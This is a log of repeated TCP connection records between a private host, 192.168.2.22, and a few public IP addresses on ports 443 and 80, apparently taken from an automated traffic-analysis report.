Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.53.203:443
Source: global traffic	TCP traffic: 104.21.53.203:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 158.101.44.242:80 -> 192.168.2.22:49164
